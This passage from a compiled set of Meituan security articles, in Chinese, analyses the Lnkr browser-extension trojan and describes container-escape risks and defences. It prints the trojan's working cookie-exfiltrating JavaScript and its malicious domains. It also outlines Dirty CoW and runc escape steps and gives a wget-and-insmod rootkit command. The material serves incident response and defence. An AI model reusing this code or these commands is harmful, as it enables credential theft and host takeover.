功能不具有通用性，大量定制功能将加重平台的复杂度。这个问题一直困扰引擎建

设团队。目前，我们采用的也许不是最优但比较有效的办法。主要通过定、判、看
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Gap，将业务需求转化为系统模块升级功能和非系统功能：

	● 功：重新定义“定制和通用”。在现实中有些定制化需求其实是业务速度已经远

远领先于其它业务，所有需求看上去是定制化，实际上是未来可预见性的问题。

	● 未：将业务需求进行分类，判断需求是针对主干流程还是分支节点。

	● 看 Gap：需求同当前建设情况比对差距。

对于系统模块升级功能，可逐个完成。对于非系统功能，可通过提供公共对接服务的

外挂来实现。

3. 特别需要“防呆”设计

人工操作会存在各类误操作引起的风险问题，在产品设计上，用户操作简洁的初衷是

好的，但需要增加防止错误发生的限制方法。在实践中这些“防呆”设置大大降低了

人工误操作Case，例如：

	● 业务高峰期封版—>禁止业务高峰期时变更策略。

	● 降低无逻辑验证的误伤情况–>策略上线前，强制标记验证执行是否符合业务

预期；修改生产上应用的策略，强制双跑验证修改后的逻辑执行是否符合业务

预期。

	● 降低逻辑配置错误几率–>策略部署时强制测试逻辑正确性。

	● 惯性操作–>验证数据结果强制回填等。

4. 产品功能最佳实践的意外惊喜

要承认一个事实就是，最了解功能使用的可能不是规则引擎的产品经理。在规则引擎

的建设中出现了这样的”惊喜”，例如：

1.	规则组功能建设初期目标是实现规则的高效管理、复用。在A业务场景基于

规则组除实现规则的高效管理、复用外，还实现了决策计算。但这种用法在

随着其业务的发展复杂度增加，已经不再利于策略高效管理，目前还在寻找

更优的解决方案。
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2.	累计因子的功能是将对多条请求进行计数或求和逻辑进行封装。B业务基于

上述功能上还是实现了事件行为记录、多事件时序性累计和拦截行为的累计。

目前在其业务下广泛使用并有效地识别了跨事件风险。

总结而言，做好业务定期应用回访和应用监控是非常有必要的。

招聘信息
美团信息安全部正在招聘实习生，业务方向包括：安全 \ 后端开发 \ 机器学习算法 \ 自然语言处

理 \ 风控策略 \ 数据开发 \Web 前端 \ 测试开发 \ 产品经理 \ 产品运营 \ 安全与隐私合规等。工作

地点：北京 / 上海。欢迎感兴趣的同学发送简历至：tech@meituan.com（邮件标题注明：美团

信息安全团队）
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隐藏在浏览器背后的“黑手”

作者：陶琦

导读

本文从黑产攻击方式、木马恶意行为、监控及防御方案等角度对 Lnkr 木马进行分析，

此类木马影响范围较广，攻击手法多样，但国内目前相关的资料却非常稀少，希望本

文的实践经验和总结能对从事相关安全检测的同学有所帮助。

一、事件概述

2020 年 10 月，美团安全运营平台发现流量中存在恶意 JavaScript 请求，信息安全

部收到告警后立即开始应急处理，通过对网络环境、访问日志等进行排查，最终锁

定恶意请求由Chrome 浏览器安装恶意插件引起，该恶意 JavaScript 文件会窃取

Cookie 并强制用户跳转到恶意色情站点、推广链接等，结合美团威胁情报大数据，

发现该插件与 Lnkr	Ad	Injector 木马特征吻合。

此类木马传播方式多样，会通过浏览器插件、Broken	Link	Hijacking 等方式在页面

中植入恶意代码，不仅严重影响用户正常访问还会窃取用户数据。经追踪分析发现，

多个国内大型互联网站点（Alexa 全球排名前 600）被感染，影响上亿网民的上网安

全，建议各大平台对自身系统第三方加载源以及内部终端设备进行检查，避免遭受此

类木马攻击。

二、溯源过程

2.1 安全运营平台发出异常告警

Chrome沙箱监测到恶意 JavaScript 文件，发出异常告警：
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通过告警信息判断基本的攻击行为是：

1.	用户访问正常页面；

2.	页面加载外部 JavaScript 文件（A）：http://s3.amazonaws.com/js-stat-

ic/18ced489204f8ff908.js；

3.	A加载第二个JavaScript文件（B）：http://countsource.cool/18ced489204f8ff908.js；

4.	B 包含恶意代码，向远程域名发送Cookie 等敏感信息。

2.2 分析攻击路径

根据告警中涉及的触发页面、相关网络环境信息，排除流量劫持、XSS攻击等情况，

猜测可能的原因为浏览器插件或恶意软件导致。

通过沙箱对问题设备上所有 Chrome 插件进行分析，发现一个名为 Vysor 的

Chrome插件代码存在恶意行为，检测结果如下：

{
    "call_window_location": {
        "info": "get document.location",
        "capture": []
    },
    "call_document_createElement": {
        "info": "call document.createElement, create script element",
        "capture": [
            "create element elementName:FIELDSET",
            "create element elementName:FIELDSET",
            "create element elementName:FIELDSET",
            "create element elementName:FIELDSET",
            "create element elementName:FIELDSET",

http://s3.amazonaws.com/js-static/18ced489204f8ff908.js%EF%BC%9B
http://s3.amazonaws.com/js-static/18ced489204f8ff908.js%EF%BC%9B
http://countsource.cool/18ced489204f8ff908.js%EF%BC%9B
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            "create element elementName:INPUT",
            "create element elementName:FIELDSET",
            "create element elementName:FIELDSET",
            "create element elementName:FIELDSET",
            "create element elementName:FIELDSET",
            "create element elementName:FIELDSET",
            "create element elementName:SCRIPT",
            "create element elementName:LINK"
        ]
    },
    "call_document_removeChild": {
        "info": "call document.removeChild",
        "capture": [
            "remove element {elementName:fieldset}",
            "remove element {elementName:fieldset}",
            "remove element {elementName:fieldset}"
        ]
    },
    "set_scriptSrcValue": {
        "info": "set script src unsafe value",
        "capture": [
            "//s3.amazonaws.com/js-static/18ced489204f8ff908.js"
        ]
    }
}

可以看到插件代码创建了 script 标签，然后将 script 标签的 src 属性设置为 //

s3.amazonaws.com/js-static/18ced489204f8ff908.js。

2.3 插件恶意代码分析

为了进一步研究该组织木马的特征，我们对该恶意插件的代码进行了人工分析。恶意

插件的代码量较大，结构混乱，包含大量干扰代码。

首先恶意代码预先设置了许多无明显意义的字符串，用于构造Payload。
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这些字符串通过下面方法的一系列转换最终构造出创建 script 标签的语句	docu-

ment[‘createElement’](‘script’)，doctype 即为创建出来的 script 对象。

接下来为 script 对象的 src 属性赋值，在 addHandler 方法中，cl 这个参数由 elem

传递过来，其中包含 src 字符串，通过 cl[0].split(‘>’).slice(2,	3) 拿到关键字 src，

tag 是上文的 doctype 变量也就是 script 对象，在构造 src 值这部分，可以看到在常

量中有一串一部分很像是 base64 的字符串：

mawaid = '^\\%|PCQxPjwkMT5zM|y5hbWF6b25hd3Mu|?:^[^\\\\]+?:\\%\\.*\t'



250　>　美团 2020 技术年货

恶意代码利用该字符串结合其他预设变量进行一系列转换，最终形成 base64 后的加

载地址 PCQxPjwkMT5zMy5hbWF6b25hd3MuY29tPCQxPmpzLXN0YXRpY-

zwkMT4xOGNlZDQ4OTIwNGY4ZmY5MDguanM：

通过 createLinkPseudo 方法解 base64，经过 replace 后形成恶意地址 //s3.ama-

zonaws.com/js-static/18ced489204f8ff908.js。

s3.amazonaws.com/js-static/18ced489204f8ff908.js 的主要目的是加载下一

层的恶意 Javascript 文件（//countsource.cool/18ced489204f8ff908.js），代码

如下：

(function(){var a=document.createElement("script");a.src="//
countsource.cool/18ced489204f8ff908.js";(document.head||document.
documentElement).appendChild(a)})();;

//countsource.cool/18ced489204f8ff908.js 文件内容为：

(function () {
    function initXMLhttp() {
        var xmlhttp;
        if (window.XMLHttpRequest) {
            xmlhttp = new XMLHttpRequest();
        } else {
            xmlhttp = new ActiveXObject("Microsoft.XMLHTTP");
        }
        return xmlhttp;
    }
 
    function minAjax(config) {
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        if (!config.url) {
            return;
        }
        if (!config.type) {
            return;
        }
        if (!config.method) {
            config.method = true;
        }
        if (!config.debugLog) {
            config.debugLog = false;
        }
        var sendString = [],
            sendData = config.data;
        if (typeof sendData === "string") {
            var tmpArr = String.prototype.split.call(sendData, '&');
            for (var i = 0, j = tmpArr.length; i < j; i++) {
                var datum = tmpArr[i].split('=');
                sendString.push(encodeURIComponent(datum[0]) + "=" + 
encodeURIComponent(datum[1]));
            }
        } else if (typeof sendData === 'object' && !(sendData instanceof 
String)) {
            for (var k in sendData) {
                var datum = sendData[k];
                if (Object.prototype.toString.call(datum) == "[object 
Array]") {
                    for (var i = 0, j = datum.length; i < j; i++) {
                        sendString.push(encodeURIComponent(k) + "[]=" + 
encodeURIComponent(datum[i]));
                    }
                } else {
                    sendString.push(encodeURIComponent(k) + "=" + 
encodeURIComponent(datum));
                }
            }
        }
        sendString = sendString.join('&');
        if (window.XDomainRequest) {
            var xmlhttp = new window.XDomainRequest();
            xmlhttp.onload = function () {
                if (config.success) {
                    config.success(xmlhttp.responseText);
                }
            };
            xmlhttp.open("POST", config.url);
            xmlhttp.send(sendString);
        } else {
            var xmlhttp = initXMLhttp();
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            xmlhttp.onreadystatechange = function () {
                if (xmlhttp.readyState == 4 && xmlhttp.status == 200) {
                    if (config.success) {
                        config.success(xmlhttp.responseText, xmlhttp.
readyState);
                    }
                } else {}
            }
            if (config.type == "GET") {
                xmlhttp.open("GET", config.url + "?" + sendString, 
config.method);
                xmlhttp.send();
            }
            if (config.type == "POST") {
                xmlhttp.open("POST", config.url, config.method);
                xmlhttp.setRequestHeader("Content-type", "application/
x-www-form-urlencoded");
                xmlhttp.send(sendString);
            }
        }
    }
    dL();
 
    function dL() {
        var host = 'http://press.cdncontentdelivery.com/f';
        var config = {
            url: host + "/stats.php",
            type: "POST",
            data: {
                vbase: document.baseURI,
                vhref: location.href,
                vref: document.referrer,
                k: "Y291bnRzb3VyY2UuY29vbA==",
                ck: document.cookie,
                t: Math.floor(new Date().getTime() / 1000),
                tg: ""
            },
            success: onSuccessCallback
        };
 
        function bl(resp) {
            ! function (dr) {
                function t() {
                    return !!localStorage && localStorage.getItem(a)
                }
 
                function e() {
                    o(),
                        parent.top.window.location.href = c
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                }
 
                function o() {
                    var t = r + i;
                    if (localStorage) {
                        localStorage.setItem(a, t)
                    }
                }
 
                function n() {
                    if (t()) {
                        var o = localStorage && localStorage.getItem(a);
                        r > o && e()
                    } else e()
                }
                var a = "MenuIdentifier",
                    r = Math.floor((new Date).getTime() / 1e3),
                    c = dr,
                    i = 86400;
                n()
            }(resp);
        }
 
        function onSuccessCallback(response) {
            if (response && response.indexOf('http') > -1) {
                bl(response);
            }
        }
        minAjax(config);
    }
})();

该文件是真正实现恶意行为的代码，这部分代码没有经过混淆、加密，也没有加入其

他无意义的代码干扰分析，可以很清晰地看到其恶意行为：

1.	获取当前页面Cookie，ck 参数；

2.	获取当前页面Referrer；

3.	获取当前页面 Location；

4.	使用 XMLHttpRequest 将获取到的数据发送到 http://press.cdncontent-

delivery.com/f/stats.php；

5.	利用 onSuccessCallback 方法进行跳转。

http://press.cdncontentdelivery.com/f/stats.php%EF%BC%9B
http://press.cdncontentdelivery.com/f/stats.php%EF%BC%9B
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至此实现了将Cookie 发送到远端接收地址，后续通过 onSuccessCallback 返回内

容完成跳转，完整流程：

2.4 通过已发现的 IoC 深入排查

通过上述特征，发现大量与 Lnkr 木马相关的域名和插件，部分并未出现在已知的威

胁情报中，经进一步分析发现，移动终端设备也有触发恶意请求的情况。

除此之外我们也发现国内多个大型站点在自身引用资源上引入了 Lnkr 木马，用户如

果访问到这些站点，Cookie 信息会被直接发送到远端，存在极高的安全风险。针对

站点自身存在恶意资源的这类情况，极有可能是攻击者利用Broken	Link	Hijacking

的攻击手法，对过期域名进行抢注，站点在访问原有资源时被劫持到恶意资源。

三、总结

3.1 恶意域名

以下列举了此次检测发现的恶意域名：

1.	mirextpro.com
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2.	browfileext.com

3.	nextextlink.com

4.	lisegreen.biz

5.	makesure.biz

6.	clipsold.com

7.	comtakelink.xyz

8.	protesidenext.com

9.	promfflinkdev.com

10.	rayanplug.xyz

11.	countsource.cool

12.	blancfox.com

13.	skipush1.bbn.com.cn

14.	donewrork.org

15.	loungesrc.net

16.	higedev.cool

17.	s3.amazonaws.com/cashe-js/

18.	s3.amazonaws.com/js-cache/

19.	s3.amazonaws.com/jsfile/

20.	s3.amazonaws.com/cashe-js/

21.	cdngateway.net（接收Cookie 域名）

22.	sslproviders.net	（接收Cookie 域名）

23.	cdncontentdelivery.com	（接收Cookie 域名）

3.2 恶意插件

排查到包含 Lnkr 木马特征的恶意插件：
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部分恶意插件截图：

四、复盘

Lnkr 木马所造成的危害有哪些？

Lnkr 木马的核心域名之一 cdngateway.net 在全球域名流量排名 8900 位，从流量

来源角度，通过外部网站跳转带来的流量占比总流量的 65.48%，可见其攻击范围极

广，受其影响的应用、用户数量也是非常庞大的。
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此类木马对外部用户和内部员工访问同时具有严重危害。

在外部用户方面，如果企业没有严格控制系统第三方资源加载，黑产利用 Broken	

Link	Hijacking 的攻击手法，致使业务系统加载资源时被劫持植入恶意代码，将严重

影响用户体验、信息安全和企业形象。

从内部员工角度，传统杀软、EDR等终端安全设备并不能很好地识别出此类恶意插

件，攻击者通过传播恶意浏览器插件控制员工浏览器加载远程恶意资源，不仅仅可以

用于广告注入，相较于针对浏览器的其他攻击方式，可以达到更稳定，触发面更广

的敏感信息窃取、内网探测等，在CSP历史阻断的恶意请求中，我们也发现除窃取

Cookie 信息外，也存在恶意代码窃取页面文本信息的情况，这些文本信息在企业内

部平台中，极有可能包含大量用户，订单等敏感信息。

如何发现此类恶意木马植入？

针对恶意浏览器插件，在检测方面对其代码做静态分析成本比较大，触发恶意请求的

Payload 都是通过大量编码转换、拼接、正则匹配等构造而成、且经过了很多没有实

际意义的方法，在动态分析方面，由于Chrome插件代码会调用Chrome后台 API，

在常规沙箱环境中可能会出现无法调用API 而中途报错退出。分析中还发现，很多恶

意行为需要触发特定事件才能进入到构造恶意Payload 流程，如触发 chrome.tabs.

onUpdated 等。

对于浏览器插件安全，可以通过以下方式进行检测及防护：

	● 禁止安装未在Chrome应用商店上线的插件（公司内部开发的插件除外）；

	● 对插件manfiest.json 文件进行轻量级的排查，manfiest.json 文件中申请权

限相对敏感，如Cookie、tabs、webRequest 等等；

	● 利用内容安全策略（CSP）对应用页面发起的请求进行拦截或监控，结合静态

与动态分析技术，判断 JavaScript 文件行为；

	● 利用浏览器沙箱与EDR，定期对浏览器插件进行扫描；

	● 构建网络层的检测能力，发现有恶意请求及时应急处理。
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对于业务系统自身是否加载恶意资源方面：

	● 严格控制系统加载的第三方资源；

	● 通过内容安全策略（CSP）对页面触发的请求进行拦截或监控。

总结

黑产组织利用此类木马进行恶意引流、窃取用户信息等，给用户访问带来安全风险，

也危害到企业自身形象，在HTTPS场景下，虽然排除了链路上用户访问被劫持的风

险，但用户端访问环境安全性不定，为确保用户获取的信息可靠，没有被篡改，仍然

需要进一步加强防护。希望本文能给大家带来一些帮助或者启发。

关于美团信息安全部

招聘信息
目前美团安全团队正在努力打造语言虚拟机—基础服务—上层应用的纵深应用安全体系，急需

对研发安全感兴趣的同学加入！如果你正好有求职意向且满足以下岗位要求，欢迎投递简历至

sunny.fang@meituan.com（邮件主题请注明：研发安全专家 -城市 -美团SRC）。
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云原生之容器安全实践

作者：睿智

概述

云原生（Cloud	Native）是一套技术体系和方法论，它由 2个词组成，云（Cloud）和

原生（Native）。云（Cloud）表示应用程序位于云中，而不是传统的数据中心；原生

（Native）表示应用程序从设计之初即考虑到云的环境，原生为云而设计，在云上以最

佳状态运行，充分利用和发挥云平台的弹性和分布式优势。

云原生的代表技术包括容器、服务网格（Service	Mesh）、微服务（Microservice）、

不可变基础设施和声明式API。更多对于云原生的介绍请参考CNCF/Foundation。

图 1　云原生安全技术沙盘（Security View）

笔者将“云原生安全”抽象成如上图所示的技术沙盘。自底向上看，底层从硬件安

全（可信环境）到宿主机安全	。将容器编排技术（Kubernetes 等）看作云上的“操

作系统”，它负责自动化部署、扩缩容、管理应用等。在它之上由微服务、Service	

Mesh、容器技术（Docker 等）、容器镜像（仓库）组成。它们之间相辅相成，以这些

技术为基础构建云原生安全。

https://github.com/cncf/foundation/blob/master/charter.md
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我们再对容器安全做一层抽象，又可以看作构建时安全（Build）、部署时安全

（Deployment）、运行时安全（Runtime）。

在美团内部，镜像安全由容器镜像分析平台保障。它以规则引擎的形式运营监管容器

镜像，默认规则支持对镜像中Dockerfile、可疑文件、敏感权限、敏感端口、基础软

件漏洞、业务软件漏洞以及CIS 和 NIST 的最佳实践做检查，并提供风险趋势分析，

同时它确保部分构建时安全。

容器在云原生架构下由容器编排技术（例如Kubernetes）负责部署，部署安全同时

也与上文提及的容器编排安全有交集。

运行安全管控交由HIDS 负责（可参考《保障 IDC安全：分布式HIDS 集群架构设

计》一文）。本文所讨论的范畴也属于运行安全之一，主要解决以容器逃逸为模型构

建的风险（在本文中，若无特殊说明，容器指代Docker）。

对于安全实施准则，我们将其分为三个阶段：

	● 攻击前：裁剪攻击面，减少对外暴露的攻击面（本文涉及的场景关键词：隔离）；

	● 攻击时：降低攻击成功率（本文涉及的场景关键词：加固）；

	● 攻击后：减少攻击成功后攻击者所能获取的有价值的信息、数据以及增加留后

门的难度等。

近些年，数据中心的基础架构逐渐从传统的虚拟化（例如KVM+QEMU架构）转向容

器化（Kubernetes+Docker 架构），但“逃逸”始终都是企业要在这 2种架构下所面

对的最严峻的安全问题，同时它也是容器风险中最具代表性的安全问题。笔者将以容

器逃逸为切入点，从攻击者角度（容器逃逸）到防御者角度（缓解容器逃逸）来阐述容

器安全的实践，从而缓解容器风险。

容器风险

容器提供了将应用程序的代码、配置、依赖项打包到单个对象的标准方法。容器建立

在两项关键技术之上：Linux	Namespace 和 Linux	Cgroups。

https://mp.weixin.qq.com/s/5pVKNI6_hzhaXTOUxU9bTA
https://mp.weixin.qq.com/s/5pVKNI6_hzhaXTOUxU9bTA
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Namespace 创建一个近乎隔离的用户空间，并为应用程序提供系统资源（文件系

统、网络栈、进程和用户 ID）。Cgroup 强制限制硬件资源，如CPU、内存、设备和

网络等。

容器和 VM不同之处在于，VM模拟硬件系统，每个 VM都可以在独立环境中运行

OS。管理程序模拟 CPU、内存、存储、网络资源等，这些硬件可由多个 VM共享

多次。

图 2　容器攻击面（Container Attack Surface）

容器一共有7个攻击面：Linux	Kernel、Namespace/Cgroups/Aufs、Seccomp-bpf、

Libs、Language	VM、User	Code、Container(Docker)	engine。

笔者以容器逃逸为风险模型，提炼出 3个攻击面：

1.	Linux 内核漏洞；

2.	容器自身；

3.	不安全部署（配置）。
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1. Linux 内核漏洞

容器的内核与宿主内核共享，使用Namespace 与 Cgroups 这两项技术，使容器内

的资源与宿主机隔离，所以 Linux 内核产生的漏洞能导致容器逃逸。

内核提权 VS 容器逃逸

通用 Linux 内核提权方法论

	● 信息收集：收集一切对写 exploit 有帮助的信息。	如：内核版本，需要确定

攻击的内核是什么版本？	这个内核版本开启了哪些加固配置？	还需知道在写

shellcode的时候会调用哪些内核函数？这时候就需要查询内核符号表，得到函

数地址。	还可从内核中得到一些对编写利用有帮助的地址信息、结构信息等等。

	● 触发阶段：触发相关漏洞，控制RIP，劫持内核代码路径，简而言之，获取在

内核中任意执行代码的能力。

	● 布置 shellcode：在编写内核 exploit 代码的时候，需要找到一块内存来存放我

们的 shellcode	。	这块内存至少得满足两个条件：

	○ 第一：在触发漏洞时，我们要劫持代码路径，必须保证代码路径可以到达存

放 shellcode 的内存。

	○ 第二：这块内存是可以被执行的，换句话说，存放 shellcode 的这块内存具

有可执行权限。

	● 执行阶段

	○ 第一：获取高于当前用户的权限，一般我们都是直接获取 root 权限，毕竟它

是 Linux 中的最高权限，也就是执行我们的 shellcode。

	○ 第二：保证内核稳定，不能因为我们需要提权而破坏原来内核的代码路径、

内核结构、内核数据等等，而导致内核崩溃。这样的话，即使得到 root 权限

也没有太大的意义。

简而言之，收集对编写 exploit 有帮助的信息，然后触发漏洞去执行特权代码，达到

提权的效果。
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图 3　容器逃逸简易模型（Container Escape Model）

容器逃逸和内核提权只有细微的差别，需要突破 namespace 的限制。将高权限的

namespace 赋到 exploit 进程的 task_struct 中。这部分的详细技术细节不在本文

讨论范围内，笔者未来会抽空再写一篇关于容器逃逸的技术文章，详细介绍该相关技

术的细节。

经典的 Dirty CoW

笔者以Dirty	CoW漏洞来说明 Linux 漏洞导致的容器逃逸。漏洞虽老，奈何太过经

典。写到这，笔者不禁想问：多年过去，目前国内外各大厂，Dirty	Cow漏洞的存量

机器修复率是多少？

在 Linux 内核的内存子系统处理私有只读内存映射的写时复制（Copy-on-Write，

CoW）机制的方式中发现了一个竞争冲突。一个没有特权的本地用户，可能会利用此

漏洞获得对其他情况下只读内存映射的写访问权限，从而增加他们在系统上的特权，

这就是知名的Dirty	CoW漏洞。
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Dirty	CoW漏洞的逃逸的实现思路和上述的思路不太一样，采取Overwrite	vDSO

技术。

vDSO（Virtual	Dynamic	Shared	Object）是内核为了减少内核与用户空间频繁

切换，提高系统调用效率而设计的机制。它同时映射在内核空间以及每一个进程的

虚拟内存中，包括那些以 root 权限运行的进程。通过调用那些不需要上下文切换

（context	switching）的系统调用可以加快这一步骤（定位 vDSO）。vDSO在用户空

间（userspace）映射为 R/X，而在内核空间（kernelspace）则为 R/W。这允许我

们在内核空间修改它，接着在用户空间执行。又因为容器与宿主机内核共享，所以可

以直接使用这项技术逃逸容器。

利用步骤如下：

1.	获取 vDSO地址，在新版的 glibc 中可以直接调用 getauxval() 函数获取；

2.	通过 vDSO地址找到 clock_gettime() 函数地址，检查是否可以 hijack；

3.	创建监听 socket；

4.	触发漏洞，Dirty	CoW 是由于内核内存管理系统实现 CoW 时产生的漏

洞。通过条件竞争，把握好在恰当的时机，利用CoW的特性可以将文件的

read-only 映射该为write。子进程不停地检查是否成功写入。父进程创建二

个线程，ptrace_thread 线程向 vDSO 写入 shellcode。madvise_thread

线程释放 vDSO映射空间，影响 ptrace_thread 线程 CoW的过程，产生条

件竞争，当条件触发就能写入成功。

5.	执行 shellcode，等待从宿主机返回 root	shell，成功后恢复 vDSO 原始

数据。

2. 容器自身

我们先简单的看一下Docker 的架构图：
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图 4　Docker 架构图

Docker 本身由Docker（Docker	Client）和 Dockerd（Docker	Daemon）组成。但

从Docker	1.11 开始，Docker 不再是简单的通过Docker	Dameon 来启动，而是

集成许多组件，包括 containerd、runc 等等。

Docker	Client 是 Docker 的客户端程序，用于将用户请求发送给Dockerd。Dock-

erd 实际调用的是 containerd 的 API 接口，containerd 是 Dockerd 和 runc 之间的

一个中间交流组件，主要负责容器运行、镜像管理等。containerd 向上为Dockerd

提供了 gRPC 接口，使得 Dockerd 屏蔽下面的结构变化，确保原有接口向下兼容；

向下，通过 containerd-shim 与 runc 结合创建及运行容器。更多的相关内容，请

参考文末链接 runc、containerd、architecture。了解清楚这些之后，我们就可以

结合自身的安全经验，从这些组件相互间的通信方式、依赖关系等寻找能导致逃逸

的漏洞。

下面我们以Docker 中的 runc 组件所产生的漏洞来说明因容器自身的漏洞而导致的

逃逸。

https://github.com/opencontainers/runc
https://github.com/containerd/containerd
https://github.com/docker-archive/containerd/blob/master/design/architecture.md
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CVE-2019-5736：runc - container breakout vulnerability

runc 在使用文件系统描述符时存在漏洞，该漏洞可导致特权容器被利用，造成容器

逃逸以及访问宿主机文件系统；攻击者也可以使用恶意镜像，或修改运行中的容器内

的配置来利用此漏洞。

	● 攻击方式 1：（该途径需要特权容器）运行中的容器被入侵，系统文件被恶意篡

改	==>	宿主机运行 docker	exec 命令，在该容器中创建新进程	==>	宿主机

runc 被替换为恶意程序	==>	宿主机执行 docker	run/exec	命令时触发执行恶

意程序；

	● 攻击方式 2：（该途径无需特权容器）docker	run 命令启动了被恶意修改的镜像	

==>	宿主机 runc 被替换为恶意程序	==>	宿主机运行 docker	run/exec 命令

时触发执行恶意程序。

当 runc 在容器内执行新的程序时，攻击者可以欺骗它执行恶意程序。通过使用自定

义二进制文件替换容器内的目标二进制文件来实现指回 runc 二进制文件。

如果目标二进制文件是 /bin/bash，可以用指定解释器的可执行脚本替换 #!/proc/

self/exe。因此，在容器内执行 /bin/bash，/proc/self/exe 的目标将被执行，将目标

指向 runc 二进制文件。

然后攻击者可以继续写入 /proc/self/exe 目标，尝试覆盖主机上的 runc 二进制文

件。这里需要使用 O_PATH	flag 打开 /proc/self/exe 文件描述符，然后以 O_

WRONLY	flag	通过 /proc/self/fd/ 重新打开二进制文件，并且用单独的一个进程不

停地写入。当写入成功时，runc 会退出。

3. 不安全部署（配置）

在实际中，我们经常会遇到这种状况：不同的业务会根据自身业务需求提供一套自己

的配置，而这套配置并未得到有效的管控审计，使得内部环境变得复杂多样，无形之

中又增加了很多风险点。最常见的包括：
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	● 特权容器或者以 root 权限运行容器；

	● 不合理的Capability 配置（权限过大的Capability）。

面对特权容器，在容器内简单地执行一下命令，就可以轻松地在宿主机上留下后门：

$ wget https://kernfunny.org/backdoor/rootkit.ko && insmod rootkit.ko

目前在美团内部，我们已经有效地收敛了特权容器问题。

这部分业界已经给出了最佳实践，从宿主机配置、Dockerd 配置、容器镜像、

Dockerfile、容器运行时等方面保障了安全，更多细节请参考Benchmark/Docker。

同时Docker 官方已经将其实现成自动化工具（gVisor）。

安全实践

为解决上述部分所阐述的容器逃逸问题，下文将重点从隔离（安全容器）与加固（安全

内核）两个角度来进行讨论。

安全容器

安全容器的技术本质就是隔离。gVisor 和 Kata	Container 是比较具有代表性的实现

方式，目前学术界也在探索基于 Intel	SGX的安全容器。

简单地说，gVisor 是在用户态和内核态之间抽象出一层，封装成 API，有点像

user-mode	kernel，以此实现隔离。Kata	Container 采用了轻量级的虚拟机隔离，

与传统的 VM比较类似，但是它实现了无缝集成当前的 Kubernetes 加 Docker 架

构。我们接着来看 gVisor 与 Kata	Container 的异同。

Case 1: gVisor

gVisor 是用 Golang 编写的用户态内核，或者说是沙箱技术，它主要实现了大部分

的 system	call。它运行在应用程序和内核之间，为它们提供隔离。gVisor 被使用在

Google 云计算平台的App	Engine、Cloud	Functions 和 Cloud	ML 中。gVisor 运

https://www.cisecurity.org/benchmark/docker/
https://gvisor.dev/docs/


运维 / 安全　<　269

行时，是由多个沙箱组成，这些沙箱进程共同覆盖了一个或多个容器。通过拦截从应

用程序到主机内核的所有系统调用，并使用用户空间中的Sentry 处理它们，gVisor

充当 guest	kernel 的角色，且无需通过虚拟化硬件转换，可以将它看做 vmm与

guest	kernel 的集合，或是 seccomp的增强版。

图 5　gVisor 架构图（来自 gVisor)

Case 2: Kata Container

Kata	Container 的 Container	Runtime 是 用 hypervisor	， 然 后 用 hardware	

virtualization 实现，如同虚拟机。所以每一个像这样的Kata	Container 的 Pod，都

是一个轻量级虚拟机，它拥有完整的 Linux 内核。所以Kata	Container 与 VM一样

能提供强隔离性，但由于它的优化和性能设计，同时也拥有与容器相媲美的敏捷性。

图 6　Kata Container 架构图（图片来自 Katacontainers.io）
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Kata	Container 在主机上有一个 kata-runtime 来启动和配置新容器。对于 Kata	

VM 中的每个容器，主机上都有相应的 Kata	Shim。	Kata	Shim 接收来自客户端

的 API 请求（例如 Docker 或 kubectl），并通过 VSock 将请求转发给 Kata	VM 内

的代理。	Kata 容器进一步优化以减少 VM启动时间。	使用QEMU的轻量级版本

NEMU，删除了约 80％的设备和包。	VM-Templating 创建运行 Kata	VM实例的

克隆，并与其他新创建的 Kata	VM 共享，这样减少了启动时间和Guest	VM 内存

消耗。	Hotplug 功能允许VM使用最少的资源（例如CPU、内存、virtio 块）进行引

导，并在以后请求时添加其他资源。

gVisor VS Kata Container

在两者之间，笔者更愿选择 gVisor，因为 gVisor 设计上比 Kata	Container 更加的

“轻”量级，但 gVisor 的性能问题始终是一道暂时无法逾越的“天堑”。综合二者的

优劣，Kata	Container 目前更适合企业内部。总体而言，安全容器技术还需做诸多

探索，以解决不同企业内部基础架构上面临的各种挑战。

安全内核

众所周知，Android 由于其开源特性，不同厂商都维护着自己的Android 版本。因为
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Android 内核态代码来自于 Linux	kernel	upstrem，当一个漏洞产生在 upstrem内

核，安全补丁推送到Google，再从Google 下发到各大厂商，最终到终端用户。由

于Android 生态的碎片化，补丁周期非常之长，使得终端用户的安全，在这过程中始

终处于“空窗期”。当我们把目光重新焦距在 Linux 上，它也同样存在类似的问题。

内核面临的问题

图 7　漏洞生命周期（The Vulnerability Life Cycle）

内核补丁

当一个安全漏洞被披露，通常是由漏洞发现者通过Redhat、OpenSuse、Debian

等社区反馈或直接提交至上游相关子系统maintainer。在企业内部面临多个不同内

核大版本、内核定制化，针对不同版本从上游代码 backport 相关补丁及制作相关热

补丁，定制内核还需对补丁进行二次开发，再升级生产环境内核或Hotfix 内核。不仅

修复周期过长，而且在修复过程中，人员沟通也存在一定的成本，也拉长了漏洞危险

期。在危险期间，我们对于漏洞基本是毫无防护能力的。

内核版本碎片化

内核版本碎片化在任意具备一定规模的公司都是无法避免的问题。随着技术的日新月

异，不断迭代，基础架构上的技术栈需要较新版本的内核功能去支持，久而久之就产

生内核版本的碎片化。碎片化问题的存在，使得在安全补丁的推送方面，遭遇了很大

的挑战。本身补丁还需要做针对性的适配，包括不同版本的内核，并进行测试验证，
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碎片化使得维护成本也变得十分高昂。最重要的是，由于维护工作量大，必然拉长了

测试补丁的时间线。也就是说，暴露在攻击者面前的危险期变得更长，被攻击的可能

性也大大增加。

内核版本定制化

同样，因不同公司的基础架构不同、需求不同，导致的定制化内核问题。对于定制化

内核，无法简单的通过从上游内核合并补丁，还需对补丁做一些本地化来适配定制化

内核。这又拉长了危险期。

解决之道

我们使用安全特性去针对某一类漏洞或是针对某一类利用方式做防御与检测。比如

SLAB_FREELIST_HARDENED，针对Double	Free 类型漏洞做实时检测，且防

御 overwrite	freelist 链表，性能损耗仅 0.07%（参考 upstrem 内核源码，commit	

id:	2482ddec）。当完成所有全部的安全特性，漏洞在被反馈之前和漏洞补丁被及时

推送至生产环境前，都无需关心漏洞的细节，就能防御。当然，安全补丁该打还是得

打，这里我们主要解决在安全补丁最终落在生产环境过程中，“空窗期”对于漏洞与

利用毫无防御能力的问题，同时也可以对 0day 有一定的检测及防御能力。

实施策略

1.	已经合并进 Linux 主线版本的安全特性，如果公司的内核支持该特性，选择

开启配置，对开启前后内核做性能测试，分析安全特性原理、行业数据，给

出Real	World 攻击案例（自己写 exploit 去证明），将报告结论反馈给内核团

队。内核团队再做评估，结合安全团队与内核团队双方意见，最终评估落地。

2.	已经合并进 Linux 主线版本但未被合并进 Redhat 的安全特性，可选择从

Linux 内核主线版本中移植，这点上代码质量上得到了保障，同时社区也做了

